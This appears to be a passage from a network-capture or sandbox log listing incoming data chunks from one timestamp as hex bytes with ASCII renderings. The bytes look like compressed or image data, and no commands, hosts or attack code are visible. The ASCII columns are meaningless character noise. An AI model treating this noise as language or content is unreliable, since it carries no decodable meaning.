2022-07-20 17:08:43 UTC	2223	IN	Data Raw: f8 4e 9f 1a 62 13 8f 8c f8 ea 77 6d bb 7c a0 75 3e da 52 12 3c d1 82 43 0b db 5f be 94 84 91 b2 02 ca bb 42 92 6e 3a ff 00 97 4a 63 24 65 64 3e 16 c1 1c 76 8e dd 15 ae 7e 34 96 a4 62 49 cd 8d 21 8e e4 5b 70 04 8e c0 3f a6 a3 22 91 27 50 14 59 45 be 26 98 11 8c 8e 88 4d 89 01 be 5e c3 4e 02 08 d3 4e f2 8d 53 5e ea 64 c4 1b c4 87 cb 16 72 3b 29 8d 0c c9 26 e5 09 ab 48 dd 6f d9 4d 0d 0a 81 9e 29 d6 ec 48 5b 1d 29 31 b2 f3 91 fc b6 48 fc ca 3a ab 1b 78 54 7e ae fa a2 b2 b4 28 43 1c 7c 71 93 e4 4a 01 2f a8 0a 7a 9f de a9 5c 19 4f c8 19 b1 e4 78 a2 d1 45 ae c9 a8 3f 1a 9d 5c 93 44 7c 87 90 58 48 19 a4 b0 eb d9 52 40 88 ca 8e e7 53 6b d3 24 69 78 14 48 f1 64 47 73 1a 86 06 e7 af b3 68 f6 9a cf 7e a5 56 15 e9 ee 4e 15 49 a1 6b b4 e1 8e d7 b6 bb 7d fd 94 ed 42 4e Data Ascii: Nbwm\|u>R<C_Bn:Jc$ed>v~4bI![p?"'PYE&M^NNS^dr;)&HoM)H[)1H:xT~(C\|qJ/z\OxE?\D\|XHR@Sk$ixHdGsh~VNIk}BN
2022-07-20 17:08:43 UTC	2231	IN	Data Raw: ec 75 94 4a ae 18 03 7b 13 a6 9d ff 00 d1 46 a4 24 83 9f 9f 8d c7 31 50 88 1d c7 84 15 dd 7b d2 48 92 d4 a8 95 de 72 c6 46 25 ef 62 2f da 2a 71 04 9e 83 78 62 35 3b 9c da 55 d2 e3 a5 36 88 b2 63 62 c3 3b 05 92 cc 97 bd af db 50 82 23 39 49 19 60 58 aa 9e 80 5b a5 aa 22 1d 81 a0 c1 75 9c b1 70 0d c9 5e bf 1a 8b d4 5d 45 9e 69 4c 85 83 9d ee 08 50 ba da a3 b3 40 82 57 f3 3c fc 51 69 0d b7 0b 8d c0 76 7e ef 7d 43 6a 62 84 41 5e 62 42 49 76 b3 31 be d3 a5 4f 68 e0 7e 2d dc 84 be 52 85 63 d5 b7 e8 a0 7b 5a 93 d0 0b 3c 2e 33 19 d7 f3 79 12 79 71 23 fc a0 5f 7d ba 05 5e 80 76 5e a0 ec fa 22 2d 8a 9f 24 49 1a 26 12 05 f1 1f 31 a5 b1 16 eb 71 7e 8a 3b 05 09 47 51 97 38 13 26 2e 1a 4d 10 8f 7c 97 26 6f c5 d6 db 54 74 db 54 59 4b 0f 61 47 27 27 87 31 76 8a 47 5c 81 Data Ascii: uJ{F$1P{HrF%b/*qxb5;U6cb;P#9I`X["up^]EiLP@W<Qiv~}CjbA^bBIv1Oh~-Rc{Z<.3yyq#_}^v^"-$I&1q~;GQ8&.M\|&oTtTYKaG''1vG\
2022-07-20 17:08:43 UTC	2247	IN	Data Raw: ee d7 ba 9b 5a a6 21 b4 b3 2d 97 a0 fb e8 10 9f 29 8b 5f 6d c5 39 04 48 45 db ab 75 1d 00 aa 9b 18 45 c3 68 75 07 be 88 80 09 43 4c 6f 7f 0f dd 43 70 04 85 88 81 a6 82 d5 5c 88 25 1b 0d fa b7 b2 9b 09 28 39 f9 59 df 6b 21 21 05 81 00 ea 4d 78 bf 53 c8 ed 7d b1 a2 37 62 5a 19 e1 89 3c b0 02 00 8d 45 ce f6 20 5c fe ef ba b0 aa 35 59 e8 69 94 52 c7 97 b0 b3 a0 3b ae 41 b9 ac 36 d4 d1 01 26 43 28 32 1d 1a da 0e b7 34 89 c1 5d 26 7c 8b 77 11 02 e3 a9 b5 fe fa 9c 13 82 46 1a 9c b8 fc c9 10 6d 17 d7 50 49 ed f8 d4 5b 81 31 d9 96 29 18 17 56 54 1d 80 0b 5f bc d2 01 6f f9 69 07 80 28 3d a4 8d 7e ca 10 86 0c 71 33 ee dc 02 fc 6a 69 92 2c ce dc a8 96 3c 78 94 6c 3a c9 7d 08 ed bd fb 6f 53 bd d3 20 b4 1b c8 bc 6a 54 9d ab bb 4d c0 6b ee b5 51 24 c6 a5 cd 54 c7 b0 f1 Data Ascii: Z!-)_m9HEuEhuCLoCp\%(9Yk!!MxS}7bZ<E \5YiR;A6&C(24]&\|wFmPI[1)VT_oi(=~q3ji,<xl:}oS jTMkQ$T
2022-07-20 17:08:43 UTC	2263	IN	Data Raw: 14 0f 95 75 1a 76 7b 6a 82 92 a3 97 96 5c a6 8c 06 05 0d 85 9f c3 b7 b4 0b f7 54 e8 a0 92 28 f2 61 56 95 95 48 72 a7 c4 e8 6e 0f bb d9 57 26 58 44 c8 8e 41 62 df 21 ed 1d b5 29 24 98 ec 7c 6c 1e 16 12 86 36 b9 4b 5b e1 7a 24 8b 65 ee 14 38 b8 b8 ea 4c 68 a4 b6 eb 91 b8 9e ef 80 aa 1b d4 80 f6 79 84 be fd e1 5f e4 3e 2f 9a da 5e c7 ad c5 15 91 13 8c 31 64 46 b2 3a 6e 70 b6 0e 48 e9 dc 29 12 aa 20 65 79 52 c8 15 51 8c 80 5f c3 6b 69 ec ab 11 7c 0a f2 61 58 44 5e 61 f3 ba 80 3a 80 7b c7 ea a5 2c 83 a8 e4 2e f3 44 0e 3d c1 17 17 61 ad fa 52 65 6d 07 0c 45 14 4c 09 79 ad 6f 65 29 22 43 78 9b 2d 8a c6 c3 65 ee e6 c7 b3 fc f4 c4 48 6e 21 72 04 60 9f 12 d8 92 3a 03 51 dd 03 dc 7f ff d0 e2 72 00 84 05 b9 bf 40 7b 8f 4a fa c3 3c 91 6f 89 c4 c9 34 67 4b 11 61 e2 36 Data Ascii: uv{j\T(aVHrnW&XDAb!)$\|l6K[z$e8Lhy_>/^1dF:npH) eyRQ_ki\|aXD^a:{,.D=aRemELyoe)"Cx-eHn!r`:Qr@{J<o4gKa6
2022-07-20 17:08:43 UTC	2271	IN	Data Raw: ce 65 37 f1 17 27 78 dd b4 58 f7 fb 6a 5a 0c 81 27 1d 8b 8b 96 9e 54 6d f9 79 3e 68 c3 12 a6 dd 85 bd f5 66 e6 d1 34 db 2c 8a e2 4e 18 c4 a2 1b 92 49 8c 6a 08 e9 d7 43 54 4b 44 75 44 1c bc 76 cb 68 e1 64 0e ca c0 29 94 0d cd de c5 bb 7d d7 ab 93 82 6b c4 b5 95 b1 d4 a7 9b 02 cc e0 80 a0 9f 0e bd b6 bd 9b f4 55 2a 7c 48 22 44 7c 76 34 04 84 55 f3 42 9b 12 49 23 b6 c0 7c a2 a3 bd b0 6c ad de 7c 91 34 cf 6d 6f e1 b9 2b 73 f2 2d b4 ad 04 c9 31 b4 98 8c 44 a1 9d 40 04 81 6b 5c f6 9a a9 eb d0 83 23 e1 65 45 93 3a ac d7 d0 b6 c1 7e c1 d4 1d 2d 52 bd 5a 5a 12 6a 10 8c e4 fe f1 a3 02 22 0f 84 38 1b 98 0d 48 4b 76 53 af b4 11 0e 6c d8 a7 0f 34 6f fc 5d 01 24 d8 9f 80 15 66 d8 d0 92 41 fe 67 1d 63 d5 95 cd cd 98 7e b5 fe 9a 5b 5b 14 15 d3 e5 1c c4 f3 bc d7 47 43 6d Data Ascii: e7'xXjZ'Tmy>hf4,NIjCTKDuDvhd)}kU*\|H"D\|v4UBI#\|l\|4mo+s-1D@k\#eE:~-RZZj"8HKvSl4o]$fAgc~[[GCm
2022-07-20 17:08:43 UTC	2287	IN	Data Raw: 90 85 ee 16 d2 98 01 9b 68 b9 a0 42 14 1b 96 a0 06 9d ee fb 46 ad dc 05 e9 a0 23 e6 e7 e1 f1 0a b2 f2 53 c5 8b 19 d4 19 dd 63 06 dd 6d b8 eb f0 a9 ed 6f a0 8f 38 71 3e b6 c4 f4 af d4 7e 73 9b c5 cb 3c 8f 1b c9 07 54 48 5c 95 96 40 57 cb 5f 16 89 e5 f8 bc 76 f9 74 ae 9a 87 8b 6b fa 91 46 2a d9 4f 81 ff d2 e1 2e c0 36 a2 e4 9e b5 f5 43 c9 8f ef 6b 6d 5b 2d 20 24 ac 6c e0 58 9b 0a ad b1 08 f3 0a 1d b6 b7 b6 a4 90 c7 d6 6b 37 98 40 bf 40 2d a7 be d4 db 14 13 71 78 ec 59 a3 33 65 4e 14 29 0f e5 44 43 4a e2 d7 b0 fc 2b f1 f1 77 56 0c dc 87 4d 12 34 52 93 a9 23 0d a2 c0 8b cd 47 78 5d f5 0b 27 88 6c 62 08 26 ff 00 25 c7 87 f6 8f cd 5c 7c f9 6c e1 34 bf ca 6a ad 54 8d cd f9 9e 71 d5 a4 95 44 84 16 03 b1 54 0b ed 51 fb 2a 3a 54 f8 bc 9a e3 4f 77 51 64 c6 ed d0 81 Data Ascii: hBF#Scmo8q>~s<TH\@W_vtkFO.6Ckm[- $lXk7@@-qxY3eN)DCJ+wVM4R#Gx]'lb&%\\|l4jTqDTQ:TOwQd
2022-07-20 17:08:43 UTC	2303	IN	Data Raw: d6 90 d8 71 f2 de 9f c7 da 71 f1 27 7d b6 d0 85 db f6 5c d3 54 8d 5b 1d b3 d5 e8 91 2e 5f 53 b6 52 80 78 f9 26 db a2 f9 ac 58 01 ec 16 d3 e1 52 b7 cd d5 95 56 e9 6a aa 84 a7 35 cb 95 b6 3f 1a 89 ec 20 8f e8 aa f6 55 16 fe a6 dd a3 ec 1d fe 61 ea 79 57 6a c1 02 0f 70 fd 66 8f 95 09 e6 bb 02 a7 a9 e6 eb 34 71 83 dc 07 f4 53 dd 5f 02 1b ee fb 8a 1c 3f 3f 28 b3 e7 38 1f bb 7f d5 4b cc 4b a2 16 af ab 15 ff 00 27 72 13 eb 2e 5e 43 5f fa df ac d2 f3 58 6c 5e 23 c9 f4 e1 a6 d5 cc ef 4b cc 62 db 5e ec 90 ff 00 4d f0 f1 40 6c 94 64 be a3 cc 70 2e 3b ed 6b d4 1e 56 4e b4 ab e9 2c 9f c6 7d 3a c3 e4 4f fc 14 71 cc 57 52 16 4d c4 0e fd bd 6d 4d 5d 91 b5 52 ec 3c bf 4b f9 5e 30 31 6e 33 f3 70 16 2c 1e 0b 3c a0 1d 6c d1 3e dd db 7f 71 aa 4d b6 41 59 2e a8 d1 7a 43 81 e3 Data Ascii: qq'}\T[._SRx&XRVj5? UayWjpf4qS_??(8KK'r.^C_Xl^#Kb^M@ldp.;kVN,}:OqWRMmM]R<K^01n3p,<l>qMAY.zC
2022-07-20 17:08:43 UTC	2311	IN	Data Raw: 00 7a 80 7f f6 b6 ae c7 1f fd 95 fc cc 86 5e 87 a4 ea d3 29 e4 cf f1 50 47 fc d1 83 7f fd 8b ff 00 2c d7 9f e6 6b 67 ee 3a 3c 2e bf 13 e8 07 a6 64 41 9b 84 3b b8 78 4d fb 2d 71 5f 1e bc 2a 59 bf 1f fe 27 a5 c9 ac ff 00 3f f6 9e 02 ff 00 15 d2 ac 99 1c 43 a9 b8 38 b9 24 1e ff 00 e3 b5 7d 47 05 61 55 3f e1 af fe 28 e3 67 b4 d8 f4 57 d3 8b 0f 47 70 c3 ff 00 70 c7 ff 00 60 57 b6 cd f5 7d 9f 81 c6 bf 53 4c dd 2a 82 07 86 7e be 92 7e a6 f2 40 76 c9 10 ff 00 51 6b ce dd 7c cc d3 8b a1 79 87 08 8b 03 d2 07 68 3f f1 39 71 eb d4 7f 1c 3d c7 d9 5b eb 5f 9e be e2 cd da b2 af eb 68 bf d5 76 5f fb 7c 21 6f f4 2a ae 3f fb cb de 43 1f 47 f1 34 ff 00 53 38 af cd fa eb 98 9e 41 b8 1c fc 8d dd c0 08 c0 5a 86 4a 6a 57 8a ff 00 b7 c4 ed 7c 46 20 4f 45 e5 6d f9 9f 8f d4 9e d3 Data Ascii: z^)PG,kg:<.dA;xM-q_Y'?C8$}GaU?(gWGpp`W}SL~~@vQk\|yh?9q=[_hv_\|!o*?CG4S8AZJjW\|F OEm
2022-07-20 17:08:43 UTC	2327	IN	Data Raw: 04 d2 4d 13 ef 63 18 01 63 9c cd 6d a8 06 a5 4e d1 a7 5f 9a ad cb ce 57 51 0c 86 2e 03 a3 99 45 cf ab 7e a8 cf cb 67 b6 77 09 8b 61 23 6a 33 08 3d 00 02 de 51 1d da f7 56 2b 72 25 42 46 bc 1c 67 8d b7 32 3c bf 50 38 e2 9f c5 c6 c8 57 00 03 6d 84 5e da db 5b db ba ab f3 51 d1 d8 54 f3 fe ac e3 f3 38 7c cc 7c 68 b2 1a 69 61 91 14 14 50 2e 47 6d 8d 3b 65 dd a1 47 92 a8 9c 16 dc 89 8b 23 d2 f0 cf 13 ab 44 56 20 1d 4e e5 d1 6c dd 3f 67 b4 75 ad f8 97 cc 8c 9c a7 f2 1c fe 65 08 39 02 a7 70 1c 1b b0 3d 2f fc 4f 6d 74 ee ba ff 00 29 e7 67 a7 f3 17 0f 02 86 e3 3c 41 6f 8d 8c 6c 7a 93 e5 8e 94 25 a7 c0 b1 3d 4b df 54 40 89 8f 16 e2 aa 2f 7b 9b db ee b9 d6 b3 61 f9 ac 6e e4 51 d2 a8 f3 87 a9 d0 37 ab f2 d4 74 fc c3 7e 81 5c ec 8b e7 7e f2 bc 6f e5 47 74 f4 fc 0a 99 Data Ascii: MccmN_WQ.E~gwa#j3=QV+r%BFg2<P8Wm^[QT8\|\|hiaP.Gm;eG#DV Nl?gue9p=/Omt)g<Aolz%=KT@/{anQ7t~\~oGt
2022-07-20 17:08:43 UTC	2343	IN	Data Raw: 96 4c 8e e9 ce a7 0c 93 0f 21 7c a4 86 19 1b 68 6b ed 46 6b df a5 f6 8b 8b 57 3b cb b2 5a a8 34 ef de b4 3a 87 d2 5e 3f d4 fc 27 24 93 71 b8 fe 5e 4e 44 6a 72 46 54 65 60 10 86 f9 24 76 03 60 3f 3b 6d 6f dd 22 b8 fe 76 4c 97 74 c7 a2 e8 ed 29 7c 4d 98 31 aa 6b 7f b0 d9 fd 67 f5 3e 7f 36 f8 7c 2c 3c 48 c6 e2 20 c9 8b 24 f2 58 28 f3 4c f2 46 74 18 fe 15 6c 76 1d 5b 71 dc f6 b6 ed b5 c4 be 2b 63 6d db 22 c9 d5 55 59 fc bf e6 d4 e8 ba 6e e9 31 f0 5f f8 fe 27 3f f5 37 3b 37 3b c7 e3 62 c5 c5 65 62 8c 79 a4 69 32 32 0b 48 f3 33 ad c0 6b a2 11 b4 ee 6f 16 e3 e2 db bb 4a ea fa 06 35 82 f6 b5 af 57 5b 44 57 4a d6 ac c3 cc c7 6b a4 aa 9e 86 9f e8 ff 00 d3 4c bf 53 67 a6 76 2e 5e 2c 4f 0f f1 1a 09 61 f3 df 69 36 d5 24 f0 eb 6e a2 ec 8b ae 95 e9 bd 47 d4 71 61 a4 27 Data Ascii: L!\|hkFkW;Z4:^?'$q^NDjrFTe`$v`?;mo"vLt)\|M1kg>6\|,<H $X(LFtlv[q+cm"UYn1_'?7;7;bebyi22H3koJ5W[DWJkLSgv.^,Oai6$nGqa'
2022-07-20 17:08:43 UTC	2350	IN	Data Raw: b4 84 55 1a 7f 4e 7d 21 c2 e4 78 a9 b2 27 59 e1 e5 f1 b1 8c b2 5e 72 b1 a9 74 6f 2c af 7f cb e6 c8 ba 78 8d 72 f3 66 cb 8e fd 52 a5 9c 7f 8b db f7 9d ac 18 70 e4 a6 b3 bf fe d2 04 7e 81 e4 e0 0d a2 ca 04 72 6d 73 21 01 9f ca 87 63 59 9f a1 c8 69 48 fd dd 0d 59 9a b6 6b 46 fe d3 2e 2b 55 75 4b ec 35 b8 1c 0e 4e 26 56 c8 3f 2a 90 87 04 1d a8 c7 6f e6 98 6d ed 3f fa 2a da ff 00 b4 c3 f1 57 12 dc 1b 5d fc d6 71 ef 7e d3 7f 9f 54 be 55 f7 1a be 03 1f 95 51 0f 9f 24 37 fe 16 f0 bb 7a f9 4e d2 5a dd ef b3 6d bf 65 ab 85 ca e0 63 ad 5c be cf bf 5f 95 7e ff 00 98 dd 8b 25 9b 5a 69 fd e6 d5 8b 21 8e c4 80 5c 5e dd be cf 8d 78 4b d1 55 9d 17 ac fb 86 64 2c 16 1f e2 35 da 63 7f 15 ee 2f d3 d8 3d 95 56 9a 7b c3 bb d3 b0 b8 64 8e 73 19 77 20 89 9a de 23 d0 76 7b 7d 94 Data Ascii: UN}!x'Y^rto,xrfRp~rms!cYiHYkF.+UuK5N&V?om?W]q~TUQ$7zNZmec\_~%Zi!\^xKUd,5c/=V{dsw #v{}
2022-07-20 17:08:43 UTC	2366	IN	Data Raw: 0b 6b e3 f9 6d 5d fc 18 dc c5 4e 3f 27 2d 7a b2 0f 13 c4 c0 b8 10 00 c9 b4 c4 96 d7 a7 84 55 fe 55 bc 03 cf a7 89 1f fe 5a c7 fe 6f 1f 20 72 0c b2 cd 1c 89 b5 81 3b 02 6d d0 1b 7e 21 ad bb 2a 76 ab 69 78 99 e9 96 b5 6f c0 d0 47 c4 6a a2 c7 a8 e8 8d df ee a8 ac 4d 93 7c 9a 98 2f 43 e0 19 f3 39 1d a9 25 d7 95 e4 af 68 d8 83 fc 50 ba 1e f1 6d 45 69 78 1b 2b 5c 9a a5 f6 9d 05 38 59 58 7f 75 2e bf f6 64 7e 9a a5 e0 63 5c aa 95 d9 5e 8b 8c 66 41 9c b8 99 1f 9a 32 f9 45 b6 80 36 94 24 69 7e b7 ea 7b a9 ba 38 da 41 67 4a ce cb c0 b3 7f 4b e5 14 3f f0 b3 30 1e c5 1f a4 d0 b8 fe d0 7c b5 e0 41 c0 f4 bc 78 32 e4 a6 3e 30 86 01 2a 95 5f 39 0d b7 20 26 e4 9e fa b2 f8 53 7d 4a a9 c9 75 51 12 58 0e 24 2f 53 18 f7 cc 9f aa a1 e4 af 12 ef d5 3f 01 bc 8e 3e 38 d0 96 97 19 Data Ascii: km]N?'-zUUZo r;m~!vixoGjM\|/C9%hPmEix+\8YXu.d~c\^fA2E6$i~{8AgJK?0\|Ax2>0_9 &S}JuQX$/S?>8
2022-07-20 17:08:43 UTC	2382	IN	Data Raw: dd 75 ed 33 1f 71 2c 7c 35 7b 2a b3 af f2 ff 00 42 b8 3e 33 07 22 6c be 43 36 49 16 ef 6f cb 04 26 c6 e4 0d 2d f7 d7 8e 5e bd ca bb 5f 2d 61 f8 33 b3 5f 4f c7 5e 87 43 f4 43 fa 4f 2e 14 09 f9 c5 68 c0 fc 20 1d 3b 77 ee dd 7a dd 9b 95 97 bd 12 9f f1 6e ff 00 c8 b9 71 ec 9f 55 f8 1a cc b8 7d 36 72 51 e7 6c f9 64 63 60 ef 20 2c 2f ed 26 fa 76 56 1b f2 2d b1 ad bf 2c 7c dd 37 96 53 0d d5 93 9a cf 6e bb 4b 2f 37 8c 5c a7 7c 06 c9 69 7c b4 59 0c ad bb 70 07 c3 ad ef 7a e4 f1 6d 4c d9 26 aa dd 35 df 1f 74 1b 1a bd 2b 17 db 1d b6 9e 6d e5 1e 2c 9c 3c c2 df c4 85 d2 5b 85 36 dc 09 37 01 bb 2f 5f 51 ab 75 ac ae b0 79 7b 2d d6 87 dd 9c fe 2f 4b f1 4d 8d f9 81 c5 64 18 c1 08 48 cd b5 89 17 02 c4 16 e9 5a 6b ca ca 94 ba af b4 a5 f1 71 37 0a cf ec 34 d8 bc e7 e5 b1 20 Data Ascii: u3q,\|5{*B>3"lC6Io&-^_-a3_O^CCO.h ;wznqU}6rQldc` ,/&vV-,\|7SnK/7\\|i\|YpzmL&5t+m,<[67/_Quy{-/KMdHZkq74
2022-07-20 17:08:43 UTC	2390	IN	Data Raw: 98 b3 72 ef 76 93 67 4d fa 57 c8 e5 e7 63 65 7e 6e 57 94 89 16 c5 da e4 69 d9 59 79 29 24 8e d7 17 54 ce 94 9a 8a e5 58 ed 63 46 3b 98 17 f5 77 0a 7b a7 c9 1f fe 0d 4a bf 48 7f f9 ff 00 e5 fd c6 c9 c5 96 95 59 76 43 89 7a df d5 7c d7 1d cb e5 47 85 95 24 31 a5 c0 44 6b 29 da bb 85 c7 be ba f8 2b be 90 fb 9e 5f 33 6b 23 f6 41 53 c3 fa eb d5 79 9e a4 4e 19 f9 09 7c 92 60 25 81 01 88 92 db 97 d9 d6 aa af 05 6e 72 ed f2 fb 42 fc e7 1a 25 f6 23 a4 fa 33 d6 3c ec be bc c4 e2 66 ca 69 70 86 4b c3 b1 c0 63 b3 5b 0d d6 dd a7 7d 66 e6 51 79 76 f6 23 a1 c4 cd 6b 5a 3d e7 a8 bd 71 17 e5 78 09 e4 1a 31 85 87 da 2b e7 b8 1e eb 41 bf 15 e6 cc f1 3f a9 3d 47 c3 7a 44 40 bc a1 75 33 02 53 62 6f f9 7a df 5d 2b bf 8f 0d b2 7d 22 cd cb ae 3f a8 85 e9 ff 00 59 7a 77 d5 19 a3 Data Ascii: rvgMWce~nWiYy)$TXcF;w{JHYvCz\|G$1Dk)+_3k#ASyN\|`%nrB%#3<fipKc[}fQyv#kZ=qx1+A?=GzD@u3Sboz]+}"?Yzw
2022-07-20 17:08:43 UTC	2406	IN	Data Raw: fc 37 95 a8 64 8c 3f a7 f0 64 e1 ff 00 2d 22 2c 59 53 1f 62 e5 13 6d fb 2e 4f 99 7d de 39 3b 36 e9 71 52 a7 a8 53 33 da d6 cf f1 36 3f f8 db e1 96 9c cf b0 ac 97 e9 86 23 65 8e 52 12 3c f0 ca eb 1a 35 a2 ba d8 0f 0d af af e2 17 ae 9f 9b 35 95 1f 06 72 ff 00 4a d3 86 fe e3 d2 9e 99 c7 cd fc aa 3b 62 c2 25 0a 14 b7 9c 45 b4 d6 c2 da 0a c0 f5 e8 5e f1 aa b3 53 8f 8d 99 19 0e 20 82 e0 1b 5e 56 27 f4 69 54 de ac d1 54 bd a4 c4 5c e3 e3 31 63 a8 bf ed 39 b7 c6 aa 2f 82 4b 8c ed 80 15 c6 b0 ef 0e 75 fb 6a ea a2 9b 11 3f 2f 92 cf a9 c7 00 f5 b4 6d ff 00 9d 4f 61 09 2e 78 7e 57 13 00 7e 5f 3a 37 72 2e 77 c6 db 17 5f dd b1 23 ed a9 3c 99 68 a2 91 f1 46 4b 61 a6 47 2c af f5 47 27 c7 f2 10 36 34 78 82 58 cf 51 90 44 8b f6 32 d1 5c b9 5f d6 d7 d8 2f d3 52 bd 24 e1 3e Data Ascii: 7d?d-",YSbm.O}9;6qRS36?#eR<55rJ;b%E^S ^V'iTT\1c9/Kuj?/mOa.x~W~_:7r.w_#<hFKaG,G'64xXQD2\_/R$>
2022-07-20 17:08:43 UTC	2422	IN	Data Raw: 4a 79 ae 37 7c 7a 9c 35 47 5d 26 4d 74 1c 33 e2 41 fc 79 0c f3 91 e3 91 80 17 3e c5 1a 2a 8e c1 5e 71 e4 97 a6 84 96 86 53 d4 38 6a ee 88 d6 da c6 c6 f5 d3 e3 de 09 76 32 e9 35 80 56 ba 05 1a 12 6f d3 4d 2d 7a fa ef 27 1b c8 93 f6 2f c0 e5 62 be c6 c9 b8 d9 83 11 84 83 51 7e bf e4 2a bc 58 dd 2b 0c d7 5c da ca 2f 71 bd 42 11 36 ee 20 1e db 36 9f 75 73 f9 38 93 ab 93 d0 60 cc dc 23 b4 7d 31 cb cc 87 d3 93 66 63 44 b9 28 d2 c8 c2 ce 15 9b 68 b1 5b 11 d6 e3 4b d7 98 b5 6d 45 6d 91 b7 df 1d 11 cf f5 25 5c 99 2a ac f6 fc ab b4 ad 5f 53 cd 3e be cc 7f a8 be b0 97 2b 06 0c bc 23 95 1a 88 81 0a 8e 65 44 da 37 6e 2a be 55 d7 f8 87 76 eb 74 ac 98 2d b2 bb 9c 5b 59 f1 ea 7a 8c 78 1e 0c 6a 9b b5 af e6 ed d6 4e ef e8 a8 b2 b8 cf 49 61 e3 f3 3c 87 1f 3f 23 8f 1d e4 75 Data Ascii: Jy7\|z5G]&Mt3Ay>^qS8jv25VoM-z'/bQ~X+\/qB6 6us8`#}1fcD(h[KmEm%\_S>+#eD7nUvt-[YzxjNIa<?#u
2022-07-20 17:08:43 UTC	2430	IN	Data Raw: a3 53 0f ed 1e 9a 7e 57 1f 1e 4c 87 9a 1d 91 82 4e d8 89 36 1d 48 17 d6 b2 b7 62 ff 00 93 c3 ef 2b f8 dc be 5f 90 9a 46 0c 23 2a 02 ee 78 6c ac 06 a3 6e b7 ed ad af 1b 55 99 28 b3 a7 64 40 e3 66 e5 87 aa b9 3c 48 e7 8c 33 43 8b 24 8d e5 5e e4 29 55 00 5f 4f 0d 65 c4 9b ab d7 b9 75 b6 ec 5a 78 9a 56 87 9a 16 be 62 6a 40 d2 15 ed ab 12 7e 26 69 af 80 e3 63 f3 31 a9 6f cf 0b 0f fb 15 a5 0c 25 78 10 f9 0c cc de 2c c2 32 f9 20 be 7c ab 0a 28 89 0b 6e 3f 89 97 b1 3f 7a b4 2c 2d d6 64 ab cc 5b a2 09 69 0f 2a de 58 6c e6 1e 65 fa 44 9a 00 2f 7a cf 0c b1 d9 78 12 1b 0b 92 5b 7f c7 c8 41 20 68 89 db f0 a7 0c 15 97 82 16 fc 7f 20 14 9f cf 4b a0 27 e5 4f e8 a7 01 b9 78 22 67 1b 06 5e 33 06 7c a7 97 72 e8 18 2e 84 8f 65 42 c9 a5 29 97 e3 cb 54 f5 46 07 d7 1e a1 9f 9f Data Ascii: S~WLN6Hb+_F#xlnU(d@f<H3C$^)U_OeuZxVbj@~&ic1o%x,2 \|(n??z,-d[iXleD/zx[A h K'Ox"g^3\|r.eB)TF
2022-07-20 17:08:43 UTC	2446	IN	Data Raw: 18 dc 1d 9d 75 b5 85 c9 07 be b0 61 c4 ad 68 68 e4 67 6d dd b6 58 fa 13 90 c4 e2 f1 a4 f5 47 25 8e b9 a2 29 13 1b 1a 39 15 99 62 90 8d cd 25 af b3 71 4f 0a ab 69 da 3a 57 73 15 96 08 d2 7d be 06 ac 5f 4c bf b0 df fa 96 1f 4e 7f 31 8a 6f ca e2 e3 c7 9b 2c 98 f2 16 84 c6 e8 c0 c5 24 66 c8 7a ba bd fe ea f4 55 b5 76 a7 64 a1 95 63 51 78 fd ba 98 de 63 d2 1c 07 1a 61 87 3f 96 10 31 52 5a 4f ca 3b c4 a2 46 6f 2c e8 c7 42 07 8e b8 59 71 62 56 49 cc d9 3f 03 a2 d5 ac ba e9 56 3d e8 69 f0 38 78 8f 31 8d ca c7 06 44 76 92 4c 74 16 0e a0 ed 91 6e 76 9f ee af 71 d0 86 b2 78 ab 85 9f 8d 4c 8b 65 be af 77 dc cd 58 6a f1 ad eb bf d4 87 b9 cf 58 37 19 ea 5e 3b 2f 1a 64 b4 70 e4 a4 7e 56 d4 92 28 32 24 ba 46 b2 1d de 54 9e 58 0a c7 e7 f2 cb 27 56 a9 e4 e0 d2 d5 75 aa 55 Data Ascii: uahhgmXG%)9b%qOi:Ws}_LN1o,$fzUvdcQxca?1RZO;Fo,BYqbVI?V=i8x1DvLtnvqxLewXjX7^;/dp~V(2$FTX'VuU
2022-07-20 17:08:43 UTC	2462	IN	Data Raw: 44 2c e0 32 91 62 7f 06 ed 76 5c 56 5f 4f e4 d3 8b 95 db 37 cb ba ba 5b db fd e5 3e b1 8a d9 2b 5d ba c4 e8 43 fa f5 eb 0e 25 84 69 1c 83 41 b5 a4 16 b1 37 be c6 b8 e9 ef aa 39 d9 e9 cb cf bb 16 aa b5 87 6f e2 ff 00 f6 49 7a 66 1b 61 a3 57 d2 5f 4f 03 cb 7e bd c2 c2 93 1b 13 90 45 68 e7 96 46 47 2a 42 a3 a8 5b ee 0a 34 56 d7 5b 68 c2 b6 70 9b dc ea f5 49 1d 1e 4e 25 48 7e 26 77 89 e1 31 63 98 09 5c ca 6e 6c a3 40 54 76 5e b4 65 c8 df 42 cc 15 56 3a af a2 78 bc 3c ae 27 96 c8 18 aa cf 02 29 89 88 bb 29 dc a2 ca 7a 83 62 7d f5 ce cd 76 ab d7 bd 7f 13 a0 e2 ae b1 dd 94 1e 6c 38 5c f7 92 d0 9f cb c6 63 2c 9d e0 80 4d db da 2a fa 61 bd f1 ee 5f 69 a9 64 4a cd 1e 9a e6 be a2 7d 39 f4 f7 0a d1 fa 7f 1e 09 f2 67 85 91 95 50 82 a0 af cc ec c3 52 0d 6a cf 9b 0a a6 Data Ascii: D,2bv\V_O7[>+]C%iA79oIzfaW_O~EhFGB[4V[hpIN%H~&w1c\nl@Tv^eBV:x<'))zb}vl8\c,Ma_idJ}9gPRj
2022-07-20 17:08:43 UTC	2470	IN	Data Raw: de a7 73 78 d1 c1 0c 2e 9d dd 95 fa 0b d3 78 d8 f1 61 ae d4 97 c9 5e ca 7e 95 66 bf d5 63 e4 9e a1 c9 bd b2 d9 4b db 2f 43 9d 3f a9 31 a7 e1 5b 97 5c 79 b0 0e 5c 48 98 b1 63 4a f3 4a 92 4c 4a a3 46 58 f8 1c 11 b9 9b e5 1d b5 d9 4e 52 5e 2c c5 e5 39 fb f5 1b fa ab 89 9d ea 4c 4c 08 b8 90 32 24 df 24 c5 9d d2 33 e0 8c 20 72 64 28 bb b7 9d 45 71 3d 67 83 7e 52 aa a4 68 f5 97 08 d7 c3 bd 68 de ef 84 1c e7 d3 bf 4e 7d 4f 07 1d ca 62 e5 62 f9 6d 97 8c 89 1d a6 85 b7 48 27 59 5b c4 ae 4d b6 83 f3 57 9b 7e 95 9b 1d 5e 8a df ca d1 e8 31 72 31 d9 6d b3 db ef 4c e8 1f 43 3d 1b cc f0 7e b5 5c de 43 12 6c 68 17 0b 22 30 ee c8 c8 f2 36 db 6a 0d c3 b0 07 a7 cc 05 6a f4 9e 16 5c 36 6e ea 3a 78 4f 5f 79 5f a8 e4 c5 e5 6d c7 69 d5 69 af ef 46 d3 eb 8b 79 5e 96 e5 5c 